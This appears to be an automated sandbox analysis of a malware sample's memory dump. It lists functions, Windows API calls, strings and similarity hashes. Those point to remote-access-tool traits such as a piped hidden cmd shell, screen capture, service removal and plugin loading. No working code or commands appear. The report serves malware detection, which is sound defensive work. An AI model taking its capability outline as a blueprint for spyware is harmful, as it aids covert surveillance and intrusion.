
Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: LibraryLoad$AddressProc$CloseExitHandleWindows
String ID:
API String ID: 2392996298-0
Opcode ID: 3ea7901086e65344f11d79aca33693397c5ccc75f64198f2e58b2052378a8d7d
Instruction ID: 402620fa5a1966597bdddeaff15d5e0306a82cf1ef27bf28a06f217d553292bd
Opcode Fuzzy Hash: 3ea7901086e65344f11d79aca33693397c5ccc75f64198f2e58b2052378a8d7d
Instruction Fuzzy Hash: 59D0223152032412F220A7782C4BB96328FCB85220F804363BC14762C2ACE6F92001DD

Function 1002A4D0 Relevance: 45.8, APIs: 25, Strings: 1, Instructions: 328stringservicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000), ref: 1002A519
OpenServiceA.ADVAPI32(?,?,000F01FF,1002A201,00000001), ref: 1002A5FD
QueryServiceConfig2A.ADVAPI32(00000000,00000001,?,?,?), ref: 1002A628
QueryServiceConfigA.ADVAPI32(?,?,00002000,00002000), ref: 1002A6EE
LocalSize.KERNEL32(00000000), ref: 1002A768
LocalReAlloc.KERNEL32(00000000,?,00000042), ref: 1002A782
lstrlen.KERNEL32(?), ref: 1002A793
lstrlen.KERNEL32(?), ref: 1002A7B2
lstrlen.KERNEL32(?), ref: 1002A7C8
lstrlen.KERNEL32(?), ref: 1002A7EF
lstrlen.KERNEL32(?), ref: 1002A7FC
lstrlen.KERNEL32(?), ref: 1002A81D
lstrlen.KERNEL32(?), ref: 1002A82D
lstrlen.KERNEL32(?), ref: 1002A854
lstrlen.KERNEL32(?), ref: 1002A863
lstrlen.KERNEL32(?), ref: 1002A888
lstrlen.KERNEL32(?), ref: 1002A897
lstrlen.KERNEL32(?), ref: 1002A8BC
lstrlen.KERNEL32(?), ref: 1002A8C7
lstrlen.KERNEL32(?), ref: 1002A8E4
lstrlen.KERNEL32(?), ref: 1002A8F3
lstrlen.KERNEL32(?), ref: 1002A918
CloseServiceHandle.ADVAPI32(?), ref: 1002A92D
CloseServiceHandle.ADVAPI32(?), ref: 1002A95B
LocalReAlloc.KERNEL32(00000000,?,00000042), ref: 1002A96A

Strings

PRjuRju, xrefs: 1002A5FD

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: lstrlen$Service$Local$AllocCloseHandleOpenQuery$ConfigConfig2ManagerSize
String ID: PRjuRju
API String ID: 3080365727-3013187748
Opcode ID: c9726cd17e42162a066cdef089aac86d3290cc942457c7e2b3b39a06ce998c58
Instruction ID: a3be7a127e673c228dd4925915da1cfea05ce204894ee203c66c57baf8a49576
Opcode Fuzzy Hash: c9726cd17e42162a066cdef089aac86d3290cc942457c7e2b3b39a06ce998c58
Instruction Fuzzy Hash: 08C14C71D0022AAFEB61DB90CC89F9A7BBAFF04305F058091F689E6151DF759A98CF14

Function 1002A1B0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 214stringservicememoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000400), ref: 1002A223
OpenSCManagerA.ADVAPI32(00000000,00000000,00000002), ref: 1002A261
OpenServiceA.ADVAPI32(00000000,00000002,000F01FF), ref: 1002A271
GetLastError.KERNEL32 ref: 1002A27C
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1002A287
ControlService.ADVAPI32(00000000,00000001,?), ref: 1002A29A
DeleteService.ADVAPI32(00000000), ref: 1002A2A1
CloseServiceHandle.ADVAPI32(?), ref: 1002A2AC
CloseServiceHandle.ADVAPI32(?), ref: 1002A2B5
Sleep.KERNEL32(00000064), ref: 1002A2BD
lstrlen.KERNEL32(00000002), ref: 1002A2C8
LocalSize.KERNEL32(00000000), ref: 1002A2D5
lstrlen.KERNEL32(00000002,00000042), ref: 1002A2E2
LocalReAlloc.KERNEL32(00000000,00000000), ref: 1002A2EF
lstrlen.KERNEL32(00000002), ref: 1002A2FD
lstrlen.KERNEL32(00000002), ref: 1002A312
lstrlen.KERNEL32(00000002), ref: 1002A322

Strings

PRjuRju, xrefs: 1002A271

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Service$lstrlen$Local$AllocCloseHandleOpen$ControlDeleteErrorLastManagerQuerySizeSleepStatus
String ID: PRjuRju
API String ID: 1710395047-3013187748
Opcode ID: 4e6195b95e974620fd8713000a2058a358cea4ec90548153cb576802796274a0
Instruction ID: 5f53909c66c5487652677595c079e137474335fa5a09c8ece76edee9df9807ae
Opcode Fuzzy Hash: 4e6195b95e974620fd8713000a2058a358cea4ec90548153cb576802796274a0
Instruction Fuzzy Hash: ED619475D04228AFDB01DFA4DC85BAFB7FAEF4D311F41405AF906AB241CE756A448BA0

Function 100571FF Relevance: 33.2, APIs: 22, Instructions: 188synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1005E8D4: _free.LIBCMT ref: 1005E8F6

_free.LIBCMT ref: 10057270
WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10057333
GetExitCodeProcess.KERNEL32(?,?), ref: 10057340
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10057355
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10057360
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1005736B
__dosmaperr.LIBCMT ref: 10057372
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1005737D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 10057388
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1005739A
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 100573A5
_free.LIBCMT ref: 10057265

Part of subcall function 1004D9B2: HeapFree.KERNEL32(00000000,00000000,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7), ref: 1004D9C8
Part of subcall function 1004D9B2: GetLastError.KERNEL32(10053BE7,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7,10053BE7), ref: 1004D9DA

_free.LIBCMT ref: 1005729E
_free.LIBCMT ref: 100572A9
_free.LIBCMT ref: 100572B4
_free.LIBCMT ref: 100573B0
_free.LIBCMT ref: 100573BC
_free.LIBCMT ref: 100573C8
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 100573D6
_free.LIBCMT ref: 100573DF
_free.LIBCMT ref: 100573EB
_free.LIBCMT ref: 100573F7

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free$CloseHandle$ErrorLast$CodeExitFreeHeapObjectProcessSingleWait__dosmaperr
String ID:
API String ID: 3529756214-0
Opcode ID: f89c313329530165e33727de20b3d365a58936ccbb6a1bad69924e242e7bb26a
Instruction ID: c0f2c6c2f9fe5835ec5b00b66026b5b5ba310004d9ebc461a7fea94083d53a43
Opcode Fuzzy Hash: f89c313329530165e33727de20b3d365a58936ccbb6a1bad69924e242e7bb26a
Instruction Fuzzy Hash: 76517F75800119FBDF11DF90E885ADE7BBAFF40311F224066FD08A6150DB316E58EB61

Function 100287C0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 208COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 100287E4
GetFileSize.KERNEL32(00000000,00000000), ref: 10028842
CloseHandle.KERNEL32(00000000), ref: 10028851

Strings

Enable, xrefs: 100289A7
Disable, xrefs: 100289B9

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: CloseEventFileHandleSize
String ID: Disable$Enable
API String ID: 2912433508-1261744749
Opcode ID: 283dfc7dd64cbc9a946f8b19d4af0399937d037122d4cc6e83708c09a345c6fc
Instruction ID: 65daffb511cbd46625f490a3220de8d2a23eece8960260fe788119e7b57a5541
Opcode Fuzzy Hash: 283dfc7dd64cbc9a946f8b19d4af0399937d037122d4cc6e83708c09a345c6fc
Instruction Fuzzy Hash: 6461ED38D003656BEB11CF74DC80BA87B63EF46340F948259FE856B242EB716A928390

Function 1004933B Relevance: 22.8, APIs: 15, Instructions: 343COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 100493AB
_free.LIBCMT ref: 100493C0
_free.LIBCMT ref: 100493D5
_free.LIBCMT ref: 100493EA
_free.LIBCMT ref: 100493FF
GetCPInfo.KERNEL32(?,?), ref: 10049449

Part of subcall function 10053301: _free.LIBCMT ref: 1005336C

_free.LIBCMT ref: 1004968D
_free.LIBCMT ref: 100496A0
_free.LIBCMT ref: 100496AE
_free.LIBCMT ref: 100496B9
_free.LIBCMT ref: 100496FB
_free.LIBCMT ref: 10049703
_free.LIBCMT ref: 1004970B
_free.LIBCMT ref: 10049713
_free.LIBCMT ref: 10049721

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: c4b7c7b73d82581ed94c9f79f55ac657ce82776b65a811a00dd60912a9f433c8
Instruction ID: 29ea24923a35ea915172a8e38e642610aef7fa3c1a2c6eb3d111500899ecabfd
Opcode Fuzzy Hash: c4b7c7b73d82581ed94c9f79f55ac657ce82776b65a811a00dd60912a9f433c8
Instruction Fuzzy Hash: 8AD19B74A012469FDB11CFA8C881BEEBBF5FF08300F21447AE999E7242D675AD45CB64

Function 10032420 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 215sleepCOMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,?), ref: 100324A1

Part of subcall function 10030BD0: GetCurrentThreadId.KERNEL32 ref: 10030BE8
Part of subcall function 10030BD0: GetThreadDesktop.USER32(00000000), ref: 10030BEF
Part of subcall function 10030BD0: OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 10030C3A
Part of subcall function 10030BD0: lstrcmpiA.KERNEL32(?,?), ref: 10030C7E
Part of subcall function 10030BD0: SetThreadDesktop.USER32(00000000), ref: 10030C89

ReleaseDC.USER32(?,?), ref: 100324FA
GetDesktopWindow.USER32 ref: 10032500
GetDC.USER32(00000000), ref: 1003250D
GetTickCount.KERNEL32 ref: 10032521
GetSystemMetrics.USER32(00000050), ref: 10032536
Sleep.KERNEL32(00000008,00000000), ref: 1003258E
Sleep.KERNEL32(00000000), ref: 100325CC
Sleep.KERNEL32(00000000,00000008,?,00000001,00000008,?,?,00000008,?,00000001), ref: 1003260B
Sleep.KERNEL32(00000000), ref: 10032655
SetRect.USER32(00000030,00000000,00000000,?,?), ref: 1003268A

Strings

, xrefs: 10032516

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: DesktopSleep$Thread$CountCurrentCursorInputLoadMetricsOpenRectReleaseSystemTickWindowlstrcmpi
String ID:
API String ID: 2389640985-3916222277
Opcode ID: 52badff5b4d4cb1de07196544032dc56af8db64f36556531d39e5ba2d0c3a1e8
Instruction ID: a722f95fbdac056ee06f3a48056855751e3e5016b536a024836daecbb1eb59ca
Opcode Fuzzy Hash: 52badff5b4d4cb1de07196544032dc56af8db64f36556531d39e5ba2d0c3a1e8
Instruction Fuzzy Hash: 5F913571900254EFEF159F64CC85B597FA2FF08300F1541AAEE459F2AAEB72E850CB90

Function 1001F2E0 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 485fileCOMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000), ref: 1001F55D
wsprintfA.USER32 ref: 1001F57C

Part of subcall function 10019F50: GetProcessHeap.KERNEL32(00000000,00000014), ref: 10019FB5
Part of subcall function 10019F50: RtlAllocateHeap.NTDLL(00000000), ref: 10019FBC
Part of subcall function 10019F50: VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 1001A06C

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000000,00000000), ref: 1001F59B
GetFileSize.KERNEL32(00000000,00000000), ref: 1001F5B1
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 1001F604
CloseHandle.KERNEL32(00000000), ref: 1001F614

Strings

PluginMe, xrefs: 1001F7BF
getDllName, xrefs: 1001F71D
isARDll, xrefs: 1001F3C9
ARPD, xrefs: 1001F3FF, 1001F529
isCSDll, xrefs: 1001F7B3

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: File$Heap$AllocAllocateCloseCreateFolderHandlePathProcessSizeSpecialVirtualWritewsprintf
String ID: ARPD$PluginMe$getDllName$isARDll$isCSDll
API String ID: 268699387-2378132350
Opcode ID: 3b13e694d258432e79d20dedfd73d3652f189f1f7819bca22a006c1c075edc9d
Instruction ID: 36d3e5b69c688cf18c29ffadb60bf7c3e182e5066e73595de7a75e096eab22e7
Opcode Fuzzy Hash: 3b13e694d258432e79d20dedfd73d3652f189f1f7819bca22a006c1c075edc9d
Instruction Fuzzy Hash: 8502D171A006189BDB24CB28CD85BAEB7B1EF95346F1042DCE409AB285DB34EFC58F50

Function 10026670 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 217pipeprocessstringCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 100266AC
CreatePipe.KERNEL32 ref: 1002673F
CreatePipe.KERNEL32(00000000,00000000,?,00000000), ref: 10026787
GetStartupInfoA.KERNEL32(?), ref: 100267CD
GetSystemDirectoryA.KERNEL32 ref: 10026811
lstrcat.KERNEL32 ref: 10026845
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,?,?,?,?), ref: 1002686B
WaitForSingleObject.KERNEL32(?,000000FF,?,00000001,?,?,?,?), ref: 100268D7

Strings

\cmd, xrefs: 1002681E
.exe, xrefs: 10026831
D, xrefs: 100267D5

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Create$Pipe$DirectoryEventInfoObjectProcessSingleStartupSystemWaitlstrcat
String ID: .exe$D$\cmd
API String ID: 2606278758-2440019170
Opcode ID: 3ed9c315bf05898f21788ab9fcfc7504eef255f47bcdf1122a02478e74f96d2a
Instruction ID: 786f3573f654844e046453a757b94a0ba9031c78cdcd2f39e8521909087c700e
Opcode Fuzzy Hash: 3ed9c315bf05898f21788ab9fcfc7504eef255f47bcdf1122a02478e74f96d2a
Instruction Fuzzy Hash: 1C8149B1604345AFE320DF64DC85F9BB7E9EF88710F51091EF689DB290DBB0A5048B96

Function 100111D0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 229fileprocessCOMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 100111EF
GetTempPathW.KERNEL32(00000104,?), ref: 10011216
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,00000080,00000000), ref: 1001125E
CloseHandle.KERNEL32(00000000), ref: 1001126A
DeleteFileW.KERNEL32(?), ref: 10011277
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,00000000,?), ref: 100113C0
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,00000000,00000000,?), ref: 1001140B
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 100114A7

Strings

D, xrefs: 1001143D
<, xrefs: 100112F5

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: File$Create$CloseDeleteHandlePathProcessTempWrite_wcsrchr
String ID: <$D
API String ID: 2398361806-1382654409
Opcode ID: 899b3174667d240c671d059c459f3017cd6c3f57b25ff8dbf47844304b279ae1
Instruction ID: 5ef1a3b275aca8608455a5efd5301564ccfbb53e988b83423ec15216829ac455
Opcode Fuzzy Hash: 899b3174667d240c671d059c459f3017cd6c3f57b25ff8dbf47844304b279ae1
Instruction Fuzzy Hash: FC813171A00229ABEB21DB61CC85BEA77F9FB59740F118195F609A6180DFB09FC58F60

Function 100241D0 Relevance: 16.6, APIs: 11, Instructions: 146sleepfilememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 10024224
Sleep.KERNEL32(000001F4), ref: 1002423A
GetLastError.KERNEL32 ref: 10024256
wsprintfA.USER32 ref: 1002426A
SetFilePointer.KERNEL32(?,?,?,00000000), ref: 100242E2
LocalAlloc.KERNEL32(00000040,00002000), ref: 100242F9
ReadFile.KERNEL32(?,00000009,00001FF7,00000000,00000000), ref: 1002432D
LocalFree.KERNEL32(00000000,00000000,-00000009), ref: 10024363
Sleep.KERNEL32(00000032), ref: 10024374
LocalFree.KERNEL32(00000000), ref: 1002439F
CloseHandle.KERNEL32(?), ref: 100243AB

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: FileLocal$FreeSleep$AllocCloseCreateErrorHandleLastPointerReadwsprintf
String ID:
API String ID: 623555137-0
Opcode ID: 65d77f132fbdbeaf6306fcc9b00634c87e66eb509b3b1eef113a91381f9c837a
Instruction ID: ccae23a96e95919625752bdad9cb5dd0a5c24f73f402aa891b09639bbfb38deb
Opcode Fuzzy Hash: 65d77f132fbdbeaf6306fcc9b00634c87e66eb509b3b1eef113a91381f9c837a
Instruction Fuzzy Hash: F551C7B1A00228DFE710CF64DC84B99B7B9EF04300F4281E9F7099B291DBB19A85CF64

Function 10025090 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 247stringsynchronizationthreadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,10081068), ref: 100250DD
WaitForSingleObject.KERNEL32(?,000000FF,10081068), ref: 10025100
CloseHandle.KERNEL32(?), ref: 10025109
lstrcpy.KERNEL32(?,?), ref: 10025189
CreateThread.KERNEL32(00000000,00000000,100253E0,?,00000000,00000000), ref: 10025203
waveOutGetNumDevs.WINMM ref: 1002529B
waveOutOpen.WINMM(?,0000FFFF,?,00000001,00000001,00000001,?), ref: 100252E7
waveOutPrepareHeader.WINMM(?,?,00000020), ref: 10025328

Strings

N/A@, xrefs: 100251BD

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: wave$CloseCreateDevsEventHandleHeaderObjectOpenPrepareSingleThreadWaitlstrcpy
String ID: N/A@
API String ID: 764069715-4129345051
Opcode ID: 7323ba334bfb610fab8e08a269bd99daf50d31b3a4be74cd48c6995e9e79bceb
Instruction ID: 47563312a0fc17b4a1b64f804b7a2416886b3209ef52ef290e37a0e1b3c01b8f
Opcode Fuzzy Hash: 7323ba334bfb610fab8e08a269bd99daf50d31b3a4be74cd48c6995e9e79bceb
Instruction Fuzzy Hash: 9FA1D071A007199FDB20CF64DC85B8ABBF5FF09341F414499EA4AAB281D772EA54CF84

Function 10023670 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 198processstringCOMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 100236A0
_strrchr.LIBCMT ref: 100236C8
wsprintfA.USER32 ref: 10023781
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104), ref: 100237F1
_strstr.LIBCMT ref: 10023803
_strstr.LIBCMT ref: 1002381B
lstrcpy.KERNEL32(00000000), ref: 10023849
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 100238E2

Strings

D, xrefs: 1002384F

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _strrchr_strstr$CreateEnvironmentExpandProcessStringslstrcpywsprintf
String ID: D
API String ID: 4149003945-2746444292
Opcode ID: 3e73d4a83887374021f13c5da11a292d1b00b387e3aa54c9bcf8239100bd54f5
Instruction ID: 1caa808d4564248101c784bcb04cd0b791b72e985642bf120115b546435730cc
Opcode Fuzzy Hash: 3e73d4a83887374021f13c5da11a292d1b00b387e3aa54c9bcf8239100bd54f5
Instruction Fuzzy Hash: 0E61C9B5D4071D6ADB21CA509C46FEB73BCEF48745F4045DAFA08AA141EBB1AB848F90

Function 100374C0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__Getcvt.LIBCPMT ref: 100374FE
__Getcvt.LIBCPMT ref: 10037536

Strings

false, xrefs: 10037589
true, xrefs: 100375BD

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Getcvt
String ID: false$true
API String ID: 1921796781-2658103896
Opcode ID: 47185ba96e5af19553e0c8a8cad828e47773be1976c07375410ccb7ed204e218
Instruction ID: f0f8e2943ad4460293dbc00bc4894cc9d6669610e4ede311a213f4e74158cb4e
Opcode Fuzzy Hash: 47185ba96e5af19553e0c8a8cad828e47773be1976c07375410ccb7ed204e218
Instruction Fuzzy Hash: F0417635A046805FDF26CFA8C94175ABBA1FF81211F1481AED8895F382C7B6A905CBA1

Function 10024940 Relevance: 15.2, APIs: 10, Instructions: 187fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000003,00000080,00000000), ref: 1002499D
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000003,00000080,00000000), ref: 100249DD
SetFilePointer.KERNEL32(00000000,?,?,00000000), ref: 100249FA
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10024A18
CloseHandle.KERNEL32(00000000), ref: 10024A4A
GetLastError.KERNEL32 ref: 10024A66
wsprintfA.USER32 ref: 10024A83
GetLastError.KERNEL32 ref: 10024B14
wsprintfA.USER32 ref: 10024B31
CloseHandle.KERNEL32(00000000), ref: 10024B50

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastwsprintf$PointerWrite
String ID:
API String ID: 3066163878-0
Opcode ID: 9eb8d085306f29f03cff5dec70068d56459441646f23977becffe2121f3e5e72
Instruction ID: f1c3065c4181bf4fb5b7a9dc903f6149b0c3cec05452de956635d795cdd499e0
Opcode Fuzzy Hash: 9eb8d085306f29f03cff5dec70068d56459441646f23977becffe2121f3e5e72
Instruction Fuzzy Hash: FB61F8B6900228ABD710DF64DC85FDAB7B9EF44304F0141A5F749E7282DF70AA858F69

Function 100524DA Relevance: 13.8, APIs: 9, Instructions: 302COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8130b5bf3d6a6504ef1b2988e7de1d48f8553a154777b98b391ff1118c4f9026
Instruction ID: 7985e204e576b4bef692afe4547fa3636b717694c8562f03cc4c105b6e8efaf9
Opcode Fuzzy Hash: 8130b5bf3d6a6504ef1b2988e7de1d48f8553a154777b98b391ff1118c4f9026
Instruction Fuzzy Hash: D7C1D174E086499FDB05CF98C881BADBBB1FF4A350F214169F814A7292DB70AD49CB61

Function 10032810 Relevance: 13.8, APIs: 9, Instructions: 273sleepwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 10030BD0: GetCurrentThreadId.KERNEL32 ref: 10030BE8
Part of subcall function 10030BD0: GetThreadDesktop.USER32(00000000), ref: 10030BEF
Part of subcall function 10030BD0: OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 10030C3A
Part of subcall function 10030BD0: lstrcmpiA.KERNEL32(?,?), ref: 10030C7E
Part of subcall function 10030BD0: SetThreadDesktop.USER32(00000000), ref: 10030C89

ReleaseDC.USER32(?,?), ref: 10032842
GetDesktopWindow.USER32 ref: 10032848
GetDC.USER32(00000000), ref: 10032855
GetCursorPos.USER32(?), ref: 10032874
GetSystemMetrics.USER32(00000000), ref: 10032889
GetCursorInfo.USER32(00000014), ref: 100328F3
DestroyCursor.USER32(?), ref: 10032943
Sleep.KERNEL32(00000032,?,?), ref: 10032982
BitBlt.GDI32(00000000,00000000,00000000,00000000,?,?,?,00000000,?), ref: 100329C6

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Desktop$CursorThread$CurrentDestroyInfoInputMetricsOpenReleaseSleepSystemWindowlstrcmpi
String ID:
API String ID: 1765932616-0
Opcode ID: 6a33f27fed84e6d03566300163f1dde5321f8d410a70f1908f64162ccb635e84
Instruction ID: 7579fc6ac411246c87f2577ad8d88e6ee9d50e72280a8eb3aea8037765a0d85c
Opcode Fuzzy Hash: 6a33f27fed84e6d03566300163f1dde5321f8d410a70f1908f64162ccb635e84
Instruction Fuzzy Hash: FCB13CB1A00215CFDF15CF68D8C0A9DBBF1FF59315F2582AAD905AB216D731A990CF90

Function 1005A844 Relevance: 13.7, APIs: 9, Instructions: 201COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1005A8B2
_free.LIBCMT ref: 1005A8BE
_free.LIBCMT ref: 1005A9E7
_free.LIBCMT ref: 1005A9F2

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f5c421c31156489343b0da40b126b6eeecb66c355fd69381b6d845816dfd98a2
Instruction ID: 39db7832273ac5931eafd64f4a08040df3c92ea27cb9b648b8a3d62a5ce9ff67
Opcode Fuzzy Hash: f5c421c31156489343b0da40b126b6eeecb66c355fd69381b6d845816dfd98a2
Instruction Fuzzy Hash: 5A610676900345AFD721DF64C881BAAB7F8FF45350F22456BE945EB281EB30AD84CB60

Function 1002D4A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 170processCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 1002D4DD
GetLastError.KERNEL32 ref: 1002D4E3
wsprintfA.USER32 ref: 1002D560

Part of subcall function 1002F230: GetWindowsDirectoryA.KERNEL32(?,00000104,1006421C), ref: 1002F265
Part of subcall function 1002F230: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1002F2A6
Part of subcall function 1002F230: wsprintfA.USER32 ref: 1002F325

GetFileAttributesA.KERNEL32(?), ref: 1002D5F7
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1002D6FA

Part of subcall function 1002C350: lstrcpy.KERNEL32(?), ref: 1002C3CD
Part of subcall function 1002C350: lstrcat.KERNEL32(?,1007918C), ref: 1002C3DF
Part of subcall function 1002C350: CreateDirectoryA.KERNEL32(?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C3E8
Part of subcall function 1002C350: GetLastError.KERNEL32(?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C3F2
